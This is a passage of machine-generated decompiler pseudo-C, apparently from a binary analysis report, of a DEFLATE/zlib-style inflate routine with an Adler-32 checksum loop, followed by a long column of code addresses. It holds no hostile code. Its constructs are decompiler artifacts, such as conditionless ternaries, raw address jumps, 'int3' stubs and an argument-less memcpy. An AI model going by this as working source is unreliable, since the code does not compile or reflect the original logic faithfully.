																		__eflags =  *(_t1066 - 8) - ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff);
																		if( *(_t1066 - 8) != ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff)) {
																			L265:
																			 *(_t1066 - 0xc) = 0xffffffff;
																			 *_t1029 = 0x27;
																			goto L292;
																		} else {
																			L103:
																			_t949 =  *(_t1066 - 8);
																			while(1) {
																				L104:
																				__eflags = _t949;
																				if(_t949 == 0) {
																					goto L84;
																				}
																				L105:
																				__eflags = _t1050;
																				if(_t1050 == 0) {
																					L112:
																					_t595 =  *(_t1066 - 0x10);
																					while(1) {
																						L113:
																						__eflags = _t949;
																						if(_t949 == 0) {
																							break;
																						}
																						L115:
																						_t1025 =  *((intOrPtr*)(_t1066 - 0x40));
																						__eflags = _t595 - _t1025;
																						if(_t595 < _t1025) {
																							L117:
																							_t595 =  *(_t1066 - 0x20);
																							__eflags = _t846 - _t595;
																							if(_t846 >= _t595) {
																								L247:
																								_t1029 =  *(_t1066 - 0x14);
																								 *_t1029 = 0x26;
																								goto L285;
																							} else {
																								L118:
																								_t987 = _t1025 -  *(_t1066 - 0x10);
																								_t1047 = _t595 - _t846;
																								__eflags = _t987 - _t1047;
																								_t817 =  <  ? _t987 : _t1047;
																								__eflags = ( <  ? _t987 : _t1047) - _t949;
																								if(( <  ? _t987 : _t1047) >= _t949) {
																									_t1029 = _t949;
																								} else {
																									__eflags = _t987 - _t1047;
																									_t1029 =  <  ? _t987 : _t1047;
																								}
																								L121:
																								L122:
																								memcpy();
																								_t846 = _t846 + _t1029;
																								_t595 =  *(_t1066 - 0x10) + _t1029;
																								_t1068 = _t1068 + 0xc;
																								 *(_t1066 - 0x18) = _t846;
																								_t949 =  *(_t1066 - 8) - _t1029;
																								 *(_t1066 - 0x10) = _t595;
																								 *(_t1066 - 8) = _t949;
																								continue;
																							}
																						} else {
																							L116:
																							_t1029 =  *(_t1066 - 0x14);
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 9;
																							goto L292;
																						}
																						goto L295;
																					}
																					L114:
																					goto 0x3a14b1;
																					asm("int3");
																					goto L84;
																				} else {
																					L106:
																					__eflags = _t1050 - 8;
																					if(_t1050 >= 8) {
																						L109:
																						_t595 = _t987 & 0x000000ff;
																						_t987 = _t987 >> 8;
																						_t1050 = _t1050 - 8;
																						 *(_t1066 - 0x28) = _t595;
																						 *(_t1066 - 4) = _t987;
																						L110:
																						__eflags =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 - 0x40));
																						_t1029 =  *(_t1066 - 0x14);
																						if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
																							L246:
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 0x34;
																							goto L292;
																						} else {
																							L111:
																							 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
																							 *( *(_t1066 - 0x10)) = _t595;
																							_t949 =  *(_t1066 - 8) - 1;
																							 *(_t1066 - 8) = _t949;
																							continue;
																						}
																					} else {
																						while(1) {
																							L107:
																							__eflags = _t846 -  *(_t1066 - 0x20);
																							if(_t846 >=  *(_t1066 - 0x20)) {
																								break;
																							}
																							L108:
																							_t595 = ( *_t846 & 0x000000ff) << _t1050;
																							_t846 = _t846 + 1;
																							_t987 = _t987 | _t595;
																							 *(_t1066 - 0x18) = _t846;
																							_t1050 = _t1050 + 8;
																							 *(_t1066 - 4) = _t987;
																							__eflags = _t1050 - 8;
																							if(_t1050 < 8) {
																								continue;
																							} else {
																								goto L109;
																							}
																							goto L295;
																						}
																						L245:
																						 *_t1029 = 0x33;
																						goto L285;
																					}
																				}
																				goto L295;
																			}
																			continue;
																		}
																	} else {
																		while(1) {
																			L90:
																			__eflags = _t846 -  *(_t1066 - 0x20);
																			if(_t846 >=  *(_t1066 - 0x20)) {
																				break;
																			}
																			L91:
																			_t823 = ( *_t846 & 0x000000ff) << _t1050;
																			_t1050 = _t1050 + 8;
																			_t997 = _t997 | _t823;
																			_t846 = _t846 + 1;
																			 *(_t1066 - 0x18) = _t846;
																			_t595 = _t1050 & 0x00000007;
																			 *(_t1066 - 4) = _t997;
																			__eflags = _t1050 - _t595;
																			if(_t1050 < _t595) {
																				continue;
																			} else {
																				goto L92;
																			}
																			goto L295;
																		}
																		L242:
																		 *_t1029 = 5;
																		goto L285;
																	}
																}
															} else {
																while(1) {
																	L86:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L87:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t987 = _t987 | _t595;
																	 *(_t1066 - 0x18) = _t846;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - 3;
																	if(_t1050 < 3) {
																		continue;
																	} else {
																		goto L88;
																	}
																	goto L295;
																}
																L241:
																 *_t1029 = 3;
																goto L285;
															}
															goto L295;
														}
														L252:
														_t595 = _t1064 & 0x00000007;
														__eflags = _t1064 - _t595;
														if(_t1064 >= _t595) {
															L256:
															_t683 =  *(_t1066 - 0x3c);
															_t890 = _t1064 & 0x00000007;
															_t992 = _t987 >> _t890;
															_t1050 = _t1064 - _t890;
															 *(_t1066 - 4) = _t992;
															__eflags = _t846 - _t683;
															if(_t846 > _t683) {
																while(1) {
																	L257:
																	__eflags = _t1050 - 8;
																	if(_t1050 < 8) {
																		goto L259;
																	}
																	L258:
																	_t846 = _t846 - 1;
																	_t1050 = _t1050 - 8;
																	__eflags = _t846 - _t683;
																	if(_t846 > _t683) {
																		continue;
																	}
																	goto L259;
																}
															}
															L259:
															L260:
															_t595 = _t1050;
															asm("bts edx, eax");
															__eflags = _t595 - 0x20;
															_t892 =  >=  ? _t992 : 0;
															_t993 = _t992 ^ _t892;
															__eflags = _t595 - 0x40;
															_t893 =  >=  ? _t993 : _t892;
															 *(_t1066 - 4) =  *(_t1066 - 4) & _t993 - 0x00000001;
															__eflags =  *(_t1066 + 0x18) & 0x00000001;
															if(( *(_t1066 + 0x18) & 0x00000001) == 0) {
																L290:
																_t684 = 0;
																__eflags = 0;
																 *_t1029 = 0x22;
																goto L291;
															} else {
																L261:
																_t894 = 0;
																while(1) {
																	L277:
																	 *(_t1066 - 8) = _t894;
																	__eflags = _t894 - 4;
																	if(_t894 >= 4) {
																		goto L290;
																	}
																	L278:
																	__eflags = _t1050;
																	if(_t1050 != 0) {
																		L281:
																		_t995 =  *(_t1066 - 4);
																		__eflags = _t1050 - 8;
																		if(_t1050 >= 8) {
																			L275:
																			_t685 = _t995 & 0x000000ff;
																			_t1050 = _t1050 - 8;
																			__eflags = _t1050;
																			 *(_t1066 - 4) = _t995 >> 8;
																			goto L276;
																		} else {
																			L282:
																			while(1) {
																				L272:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					break;
																				}
																				L273:
																				_t595 = ( *_t846 & 0x000000ff) << _t1050;
																				_t1050 = _t1050 + 8;
																				_t995 = _t995 | _t595;
																				_t846 = _t846 + 1;
																				 *(_t1066 - 4) = _t995;
																				__eflags = _t1050 - 8;
																				if(_t1050 < 8) {
																					continue;
																				} else {
																					L274:
																					_t894 =  *(_t1066 - 8);
																					goto L275;
																				}
																				goto L295;
																			}
																			L284:
																			 *_t1029 = 0x29;
																			goto L285;
																		}
																	} else {
																		L279:
																		__eflags = _t846 -  *(_t1066 - 0x20);
																		if(_t846 >=  *(_t1066 - 0x20)) {
																			L283:
																			 *_t1029 = 0x2a;
																			goto L285;
																		} else {
																			L280:
																			_t685 =  *_t846 & 0x000000ff;
																			_t846 = _t846 + 1;
																			L276:
																			 *(_t1066 - 0x24) = _t685;
																			_t595 =  *(_t1029 + 0x10) << 0x00000008 |  *(_t1066 - 0x24);
																			_t894 = _t894 + 1;
																			__eflags = _t894;
																			 *(_t1029 + 0x10) = _t595;
																			continue;
																		}
																	}
																	goto L295;
																}
																goto L290;
															}
														} else {
															L253:
															while(1) {
																L254:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	break;
																}
																L255:
																_t1050 = _t1064 + 8;
																_t987 = _t987 | ( *_t846 & 0x000000ff) << _t1064;
																_t846 = _t846 + 1;
																 *(_t1066 - 4) = _t987;
																_t595 = _t1050 & 0x00000007;
																__eflags = _t1050 - _t595;
																if(_t1050 < _t595) {
																	continue;
																} else {
																	goto L256;
																}
																goto L295;
															}
															L271:
															 *_t1029 = 0x20;
															goto L285;
														}
													}
												} else {
													L48:
													__eflags = _t1064 - 0xf;
													if(_t1064 < 0xf) {
														_t1006 =  *(_t846 + 1) & 0x000000ff;
														_t884 = _t1064;
														_t723 =  *_t846 & 0x000000ff;
														_t846 = _t846 + 2;
														_t1029 =  *(_t1066 - 0x14);
														 *(_t1066 - 0x18) = _t846;
														 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1006 << 0x00000008 | _t723) << _t884;
														_t1064 = _t1064 + 0x10;
														__eflags = _t1064;
														_t987 =  *(_t1066 - 4);
													}
													_t716 =  *((short*)(_t1029 + 0x160 + (_t987 & 0x000003ff) * 2));
													 *(_t1066 - 0x1c) = _t716;
													__eflags = _t716;
													if(_t716 < 0) {
														L52:
														goto 0x3a1472;
														asm("int3");
														asm("int3");
														asm("int3");
														do {
															L53:
															_t718 = _t987 >> _t884;
															_t884 = _t884 + 1;
															_t846 =  *((short*)(_t1029 + 0x960 + ((_t718 & 0x00000001) +  !_t846) * 2));
															__eflags = _t846;
														} while (_t846 < 0);
														 *(_t1066 - 0x1c) = _t846;
														_t846 =  *(_t1066 - 0x18);
													} else {
														L51:
														_t884 = _t716 >> 9;
													}
													L55:
													_t595 =  *(_t1066 - 8);
													_t1064 = _t1064 - _t884;
													_t987 = _t987 >> _t884;
													 *(_t1066 - 4) = _t987;
													 *( *(_t1066 - 0x10)) = _t595;
													_t884 =  *(_t1066 - 0x1c);
													__eflags = _t884 & 0x00000100;
													if((_t884 & 0x00000100) != 0) {
														L82:
														_t168 = _t1066 - 0x10;
														 *_t168 =  *(_t1066 - 0x10) + 1;
														__eflags =  *_t168;
														goto L83;
													} else {
														L56:
														_t721 =  *(_t1066 - 0x10);
														 *(_t721 + 1) = _t884;
														 *(_t1066 - 0x10) = _t721 + 2;
														while(1) {
															L38:
															_t883 =  *(_t1066 - 0x20) - _t846;
															__eflags = _t883 - 4;
															if(_t883 < 4) {
																goto L57;
															}
															goto L39;
														}
													}
												}
											}
											goto L295;
											L57:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L74:
												_t669 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t669;
												__eflags = _t669;
												if(_t669 < 0) {
													L76:
													goto 0x3a149b;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L77:
														_t671 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t671 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L75:
													_t883 = _t669 >> 9;
													_t595 = _t669 & 0x000001ff;
													 *(_t1066 - 8) = _t595;
												}
												L79:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 - 0x100;
												if(_t884 >= 0x100) {
													goto L83;
												} else {
													L80:
													_t825 =  *(_t1066 - 0x10);
													__eflags = _t825 -  *((intOrPtr*)(_t1066 - 0x40));
													if(_t825 >=  *((intOrPtr*)(_t1066 - 0x40))) {
														L240:
														 *(_t1066 - 0xc) = 2;
														 *_t1029 = 0x18;
														goto L292;
													} else {
														L81:
														 *_t825 = _t884;
														 *(_t1066 - 0x10) = _t825 + 1;
														continue;
													}
												}
											} else {
												L58:
												__eflags = _t883 - 2;
												if(_t883 >= 2) {
													L72:
													_t999 =  *(_t846 + 1) & 0x000000ff;
													_t697 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													_t883 = _t1050;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | _t999 << _t1050 + 0x00000008 | _t697 << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
													goto L73;
												} else {
													do {
														L59:
														_t595 = _t988 & 0x000003ff;
														_t1032 =  *((short*)(_t1029 + 0x160 + _t595 * 2));
														__eflags = _t1032;
														if(_t1032 < 0) {
															L63:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L68;
															} else {
																L64:
																 *(_t1066 - 0x1c) = _t883;
																while(1) {
																	L66:
																	_t1032 =  *((short*)( *(_t1066 - 0x14) + 0x960 + ((_t988 >> _t883 & 0x00000001) +  !_t1032) * 2));
																	_t883 =  *(_t1066 - 0x1c) + 1;
																	 *(_t1066 - 0x1c) = _t883;
																	__eflags = _t1032;
																	if(_t1032 >= 0) {
																		goto L73;
																	}
																	L67:
																	_t595 = _t883 + 1;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		continue;
																	} else {
																		goto L68;
																	}
																	goto L295;
																}
																goto L73;
															}
														} else {
															L60:
															_t1034 = _t1032 >> 9;
															__eflags = _t1034;
															if(_t1034 == 0) {
																L68:
																_t1029 =  *(_t1066 - 0x14);
																L69:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	L239:
																	 *_t1029 = 0x17;
																	goto L285;
																} else {
																	goto L70;
																}
															} else {
																L61:
																__eflags = _t1050 - _t1034;
																if(_t1050 >= _t1034) {
																	L73:
																	_t1029 =  *(_t1066 - 0x14);
																	goto L74;
																} else {
																	L62:
																	goto L68;
																}
															}
														}
														goto L295;
														L70:
														_t883 = _t1050;
														_t701 = ( *_t846 & 0x000000ff) << _t883;
														_t846 = _t846 + 1;
														_t988 = _t988 | _t701;
														 *(_t1066 - 0x18) = _t846;
														_t1050 = _t1050 + 8;
														 *(_t1066 - 4) = _t988;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
													goto L74;
												}
											}
											goto L295;
										}
									}
								} else {
									L270:
									_t684 = _t595 | 0xffffffff;
									 *_t1029 = 0x25;
									L291:
									 *(_t1066 - 0xc) = _t684;
									goto L292;
								}
							} else {
								L9:
								if(_t1050 >= _t875) {
									L12:
									_t1050 = _t1050 - _t875;
									_t842 = (_t595 << _t875) - 0x00000001 & _t988;
									_t988 = _t988 >> _t875;
									 *(_t1066 - 0x28) =  *(_t1066 - 0x28) + _t842;
									_t595 =  *(_t1066 - 0x28);
									 *(_t1066 - 4) = _t988;
									goto L14;
								} else {
									L10:
									while(_t846 <  *(_t1066 - 0x20)) {
										_t595 = ( *_t846 & 0x000000ff) << _t1050;
										_t846 = _t846 + 1;
										_t875 =  *(_t1066 - 0x38);
										_t988 = _t988 | _t595;
										_t1050 = _t1050 + 8;
										 *(_t1066 - 0x18) = _t846;
										 *(_t1066 - 4) = _t988;
										if(_t1050 < _t875) {
											continue;
										} else {
											goto L12;
										}
										goto L295;
									}
									 *_t1029 = 0x1b;
									L285:
									__eflags =  *(_t1066 + 0x18) & 0x00000002;
									L286:
									L287:
									_t596 =  !=  ? 1 : _t595;
									 *(_t1066 - 0xc) = _t596;
									__eflags = _t596 - 1;
									if(_t596 != 1) {
										L288:
										__eflags = _t596 - 0xfffffffc;
										if(_t596 != 0xfffffffc) {
											L289:
											L292:
											_t641 =  *(_t1066 - 0x3c);
											__eflags = _t846 - _t641;
											if(_t846 > _t641) {
												while(1) {
													L293:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L295;
													}
													L294:
													_t846 = _t846 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t846 - _t641;
													if(_t846 > _t641) {
														continue;
													}
													goto L295;
												}
											}
										}
									}
								}
							}
							goto L295;
							L4:
							goto 0x3a13e3;
							asm("int3");
							asm("int3");
							asm("int3");
							do {
								L6:
								_t657 = _t987 >> _t872;
								_t872 = _t872 + 1;
								_t846 =  *((short*)(_t1029 + 0x1700 + ((_t657 & 0x00000001) +  !_t846) * 2));
								__eflags = _t846;
							} while (_t846 < 0);
							 *(_t1066 - 0x1c) = _t846;
							_t846 =  *(_t1066 - 0x18);
							_t660 =  *(_t1066 - 0x1c);
							goto L8;
						}
					}
					L295:
					_t968 =  *(_t1066 - 4);
					L296:
					 *(_t1029 + 4) = _t1050;
					asm("bts ecx, esi");
					__eflags = _t1050 - 0x20;
					_t598 =  >=  ? 0 : 0;
					_t860 = 0 ^ _t598;
					__eflags = _t1050 - 0x40;
					_t599 =  >=  ? _t860 : _t598;
					 *(_t1029 + 0x20) =  *(_t1066 - 0x28);
					_t970 =  *(_t1066 - 0x10) -  *(_t1066 + 0x10);
					__eflags =  *(_t1066 + 0x18) & 0x00000009;
					 *(_t1029 + 0x24) =  *(_t1066 - 8);
					 *(_t1029 + 0x28) =  *(_t1066 - 0x38);
					 *((intOrPtr*)(_t1029 + 0x3c)) =  *((intOrPtr*)(_t1066 - 0x48));
					 *(_t1029 + 0x38) = _t860 - 0x00000001 & _t968;
					 *(_t1066 - 0x10) = _t970;
					 *((intOrPtr*)( *((intOrPtr*)(_t1066 + 8)))) = _t846 -  *(_t1066 - 0x3c);
					_t848 =  *(_t1066 - 0xc);
					 *( *(_t1066 + 0x14)) = _t970;
					if(( *(_t1066 + 0x18) & 0x00000009) != 0) {
						L297:
						__eflags = _t848;
						if(_t848 >= 0) {
							L298:
							_t1052 =  *(_t1029 + 0x1c);
							_t863 = _t1052 & 0x0000ffff;
							_t609 = (0x5e6ea9af * _t970 >> 0x20 >> 0xb) * 0x15b0;
							_t1053 = _t1052 >> 0x10;
							 *(_t1066 - 0x3c) = _t1053;
							_t974 =  *(_t1066 - 0x10) - _t609;
							__eflags =  *(_t1066 - 0x10);
							 *(_t1066 - 0x34) = _t974;
							if( *(_t1066 - 0x10) != 0) {
								L299:
								_t850 = _t974;
								do {
									L300:
									_t975 = 0;
									 *(_t1066 + 0x14) = 0;
									__eflags = _t850 - 7;
									if(_t850 > 7) {
										L301:
										goto 0x3a15c6;
										asm("int3");
										asm("int3");
										asm("int3");
										L302:
										_t1031 = _t1029 - _t609;
										__eflags = _t1031;
										do {
											L303:
											_t975 =  &(_t975[2]);
											_t865 = _t863 + ( *_t609 & 0x000000ff);
											_t866 = _t865 + ( *( *(_t1066 + 0x10) + 1) & 0x000000ff);
											_t867 = _t866 + ( *( *(_t1066 + 0x10) + 2) & 0x000000ff);
											_t868 = _t867 + ( *( *(_t1066 + 0x10) + 3) & 0x000000ff);
											_t869 = _t868 + ( *( *(_t1066 + 0x10) + 4) & 0x000000ff);
											_t870 = _t869 + ( *( *(_t1066 + 0x10) + 5) & 0x000000ff);
											_t871 = _t870 + ( *( *(_t1066 + 0x10) + 6) & 0x000000ff);
											_t863 = _t871 + ( *( *(_t1066 + 0x10) + 7) & 0x000000ff);
											_t639 =  *(_t1066 + 0x10) + 8;
											_t1053 = _t1053 + _t865 + _t866 + _t867 + _t868 + _t869 + _t870 + _t871 + _t863;
											 *(_t1066 + 0x10) = _t639;
											__eflags = _t639 + _t1031 - _t850;
											_t609 =  *(_t1066 + 0x10);
										} while (_t639 + _t1031 < _t850);
										 *(_t1066 + 0x14) = _t975;
										 *(_t1066 - 0x3c) = _t1053;
									}
									L305:
									_t1029 = 0;
									 *((intOrPtr*)(_t1066 + 8)) = 0;
									__eflags = _t975 - _t850;
									if(_t975 < _t850) {
										L306:
										__eflags = _t850 - _t975 - 2;
										if(_t850 - _t975 >= 2) {
											L307:
											_t619 =  *(_t1066 + 0x14);
											_t1056 =  *(_t1066 + 0x10);
											_t851 = 0;
											_t986 = (_t850 - _t619 - 2 >> 1) + 1;
											__eflags = _t986;
											 *(_t1066 + 0x14) = _t619 + _t986 * 2;
											do {
												L308:
												_t864 = _t863 + ( *_t1056 & 0x000000ff);
												_t622 =  *(_t1056 + 1) & 0x000000ff;
												_t1029 = _t1029 + _t864;
												_t1056 = _t1056 + 2;
												_t863 = _t864 + _t622;
												_t851 = _t851 + _t863;
												_t986 = _t986 - 1;
												__eflags = _t986;
											} while (_t986 != 0);
											_t975 =  *(_t1066 + 0x14);
											 *(_t1066 + 0x10) = _t1056;
											_t1053 =  *(_t1066 - 0x3c);
											 *((intOrPtr*)(_t1066 + 8)) = _t851;
											_t850 =  *(_t1066 - 0x34);
										}
										L310:
										__eflags = _t975 - _t850;
										if(_t975 < _t850) {
											_t980 =  *(_t1066 + 0x10);
											_t863 = _t863 + ( *_t980 & 0x000000ff);
											_t1053 = _t1053 + _t863;
											_t981 =  &(_t980[1]);
											__eflags = _t981;
											 *(_t1066 + 0x10) = _t981;
										}
										L312:
										_t609 =  *((intOrPtr*)(_t1066 + 8)) + _t1029;
										_t1053 = _t1053 + _t609;
										__eflags = _t1053;
									}
									L313:
									L314:
									_t863 = _t863 + (_t609 * _t863 >> 0x20 >> 0xf) * 0xffff000f;
									_t609 = (0x80078071 * _t1053 >> 0x20 >> 0xf) * 0xffff000f;
									_t1053 = _t1053 + _t609;
									_t586 = _t1066 - 0x10;
									 *_t586 =  *(_t1066 - 0x10) - _t850;
									__eflags =  *_t586;
									_t850 = 0x15b0;
									 *(_t1066 - 0x3c) = _t1053;
									 *(_t1066 - 0x34) = 0x15b0;
								} while ( *_t586 != 0);
								goto 0x3a15ef;
								asm("int3");
							}
							L316:
							_t1055 = (_t1053 << 0x10) + _t863;
							 *(_t1029 + 0x1c) = _t1055;
							__eflags = _t848;
							if(_t848 == 0) {
								__eflags =  *(_t1066 + 0x18) & 0x00000001;
								if(( *(_t1066 + 0x18) & 0x00000001) != 0) {
									__eflags = _t1055 -  *(_t1029 + 0x10);
									_t848 =  !=  ? 0xfffffffe : _t848;
									__eflags = _t848;
								}
							}
						}
					}
					L319:
					return _t848;
					L320:
				}
				L264:
				 *__edi = 0x1a;
				goto L285;
			}

0x003856ef
0x003856ef
0x003856ef
0x003856ef
0x003856ef
0x003856ef
0x003856f2
0x00000000
0x00000000
0x003856f8
0x003856fb
0x003856ff
0x00385700
0x00385702
0x00385705
0x00385708
0x0038570e
0x00386471
0x00386478
0x00386480
0x00386483
0x00386485
0x0038649f
0x0038649f
0x003864a2
0x00000000
0x003864a8
0x003864a8
0x003864ad
0x003864ad
0x003864b0
0x003864b0
0x003864be
0x003864c9
0x003864ca
0x003864cd
0x003864d0
0x003864d2
0x00000000
0x00000000
0x003864d8
0x003864d9
0x003864db
0x00000000
0x003864e1
0x003864e1
0x003864e1
0x00000000
0x003864e1
0x00000000
0x003864db
0x00000000
0x003864b0
0x00386487
0x00386487
0x00386487
0x0038648a
0x0038648c
0x00000000
0x00386492
0x00386492
0x00386492
0x00386494
0x00000000
0x0038649a
0x0038649a
0x00000000
0x0038649a
0x00386494
0x0038648c
0x00000000
0x00385714
0x00385714
0x0038571b
0x00385723
0x00385728
0x00000000
0x00000000
0x0038572a
0x0038572c
0x0038572f
0x00385761
0x00385761
0x00385763
0x00385765
0x0038576c
0x00385773
0x00385776
0x00385779
0x0038577e
0x003857be
0x003857c1
0x003857c4
0x003857c9
0x003857d5
0x003857d5
0x003857dd
0x003857e5
0x003857e8
0x003857ec
0x003857ef
0x003857f1
0x003857f4
0x0038582f
0x0038582f
0x00385832
0x00385896
0x00385896
0x0038589b
0x003858a0
0x003858a0
0x003858a3
0x003858a6
0x003858ac
0x003858af
0x003858b3
0x003858b6
0x003858b9
0x003858bc
0x003858bc
0x003858c1
0x003858c4
0x003858c7
0x003858ca
0x003858cd
0x003858d0
0x003858d2
0x003858d4
0x003858d4
0x003858d9
0x003858da
0x003858dc
0x003858de
0x003858e1
0x003858e4
0x00000000
0x00000000
0x00000000
0x003858e4
0x00385834
0x00385834
0x00385834
0x00385837
0x00000000
0x00385839
0x00385839
0x00385839
0x0038583e
0x00385844
0x00385846
0x00385849
0x00385850
0x00385850
0x00385852
0x00385854
0x00385857
0x0038585a
0x0038585d
0x00385860
0x00385860
0x00385864
0x00385867
0x0038586d
0x00385870
0x00385873
0x00385876
0x00385879
0x0038587c
0x00000000
0x0038587e
0x0038587e
0x0038587e
0x00385880
0x00385882
0x00385882
0x00385887
0x00385888
0x0038588a
0x0038588c
0x0038588f
0x00385892
0x00385894
0x003858e6
0x003858e6
0x003858eb
0x003858ef
0x003858f2
0x003858f2
0x003858f5
0x003858f5
0x003858f5
0x003858f5
0x003858f5
0x00385880
0x0038587c
0x00385837
0x00000000
0x003857f6
0x003857f6
0x003857f6
0x003857f6
0x003857f8
0x003857f9
0x003857fe
0x00000000
0x00000000
0x00385804
0x0038580a
0x0038650f
0x0038650f
0x00386516
0x00000000
0x00385810
0x00385810
0x00385822
0x00385825
0x00385828
0x0038582a
0x00000000
0x0038582a
0x00000000
0x0038580a
0x003858f8
0x003858f8
0x003858fb
0x003858fd
0x00385900
0x00000000
0x00000000
0x00385906
0x0038590c
0x0038590f
0x00385912
0x00000000
0x00385918
0x00385918
0x00385918
0x0038591b
0x0038591d
0x00385921
0x00385923
0x00385926
0x0038592e
0x00385933
0x00385936
0x00385936
0x00385939
0x00385939
0x00385943
0x0038594b
0x0038594e
0x00385950
0x00385959
0x00385959
0x0038595e
0x0038595f
0x00385960
0x00385961
0x00385961
0x00385965
0x00385967
0x0038596b
0x0038596d
0x00385975
0x00385975
0x00385979
0x0038597c
0x00385952
0x00385952
0x00385954
0x00385954
0x0038597f
0x0038597f
0x00385981
0x00385983
0x00385986
0x00385989
0x0038598f
0x00385b5a
0x00385b5a
0x00385b60
0x00385b63
0x00385b69
0x00386406
0x00386406
0x0038640d
0x00386413
0x00386419
0x0038641c
0x0038641f
0x00386421
0x0038645e
0x0038645e
0x00386461
0x00385714
0x0038571b
0x00385723
0x00385728
0x00000000
0x00000000
0x00000000
0x00386467
0x00386467
0x0038646c
0x0038646f
0x003864e6
0x003864e6
0x003864ed
0x003864f0
0x003864f3
0x003864f8
0x003864fe
0x00386501
0x00386504
0x00386507
0x00385714
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0038646f
0x00386423
0x00386423
0x00386423
0x00386425
0x0038644a
0x0038644f
0x0038644f
0x00386454
0x00386456
0x00386458
0x00386458
0x00386458
0x0038645b
0x00000000
0x00386427
0x00386427
0x00386427
0x00386427
0x0038642a
0x00000000
0x00000000
0x00386430
0x00386435
0x00386437
0x00386438
0x0038643b
0x0038643d
0x00386440
0x00386443
0x00386446
0x00386448
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00386448
0x00386641
0x00386641
0x00000000
0x00386641
0x00386425
0x00385b6f
0x00385b6f
0x00385b6f
0x00385b6f
0x00385b73
0x00000000
0x00000000
0x00385b79
0x00385b79
0x00385b7c
0x00385b9f
0x00385ba1
0x00385ba4
0x00385ba7
0x00385baa
0x00385bad
0x00385bad
0x00385baf
0x00385bb2
0x00385bb5
0x00385bb8
0x00385d7b
0x00385d7b
0x00385d7e
0x00386674
0x00386674
0x0038667b
0x00000000
0x00385d84
0x00385d84
0x00385d84
0x00385d87
0x00385e56
0x00385e56
0x00385e56
0x00385e58
0x00385e58
0x00385e58
0x00385e5b
0x00385e5e
0x00000000
0x00000000
0x00385e64
0x00385e64
0x00385e6b
0x00385e6e
0x00385e70
0x00385e9f
0x00385e9f
0x00385eaa
0x00385eb2
0x00385eb5
0x00385eb8
0x00385ebf
0x00385ec1
0x00385ec3
0x00385ec5
0x00385ec8
0x00385ed2
0x00385ed5
0x00385ed7
0x00385eda
0x00000000
0x00385e72
0x00385e72
0x00385e72
0x00385e72
0x00385e75
0x00000000
0x00000000
0x00385e7b
0x00385e80
0x00385e82
0x00385e83
0x00385e86
0x00385e88
0x00385e8b
0x00385e8e
0x00385e91
0x00385e98
0x00385e9b
0x00385e9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385e9d
0x00386595
0x00386595
0x00000000
0x00386595
0x00000000
0x00385e70
0x00385ee0
0x00385ee5
0x00385eee
0x00385ef4
0x00385ef7
0x00385efa
0x00385efa
0x00385efc
0x00385efc
0x00385efc
0x00385eff
0x00385f02
0x00000000
0x00000000
0x00385f04
0x00385f04
0x00385f07
0x00385f2a
0x00385f2f
0x00385f32
0x00385f35
0x00385f38
0x00385f3b
0x00385f3e
0x00385f45
0x00385f4f
0x00000000
0x00385f09
0x00385f09
0x00385f09
0x00385f09
0x00385f0c
0x00000000
0x00000000
0x00385f12
0x00385f17
0x00385f19
0x00385f1a
0x00385f1c
0x00385f1f
0x00385f22
0x00385f25
0x00385f28
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00385f28
0x003865a0
0x003865a0
0x00000000
0x003865a0
0x00000000
0x00385f07
0x00385f52
0x00385f52
0x00000000
0x00385d8d
0x00385d8d
0x00385d8d
0x00385d92
0x00385d93
0x00385d94
0x00385d95
0x00385d96
0x00385d98
0x00385d9a
0x00385d9c
0x00385d9d
0x00385d9f
0x00385da1
0x00385da8
0x00385dae
0x00385db6
0x00385db9
0x00385dbe
0x00385dc3
0x00385dc8
0x00385dcd
0x00385dd5
0x00385ddd
0x00385de5
0x00385ded
0x00385df5
0x00385dfb
0x00385e03
0x00385e07
0x00385e0c
0x00385e11
0x00385e16
0x00385e1b
0x00385e20
0x00385e25
0x00385e2d
0x00385e32
0x00385e3a
0x00385e44
0x00385e4e
0x00385f59
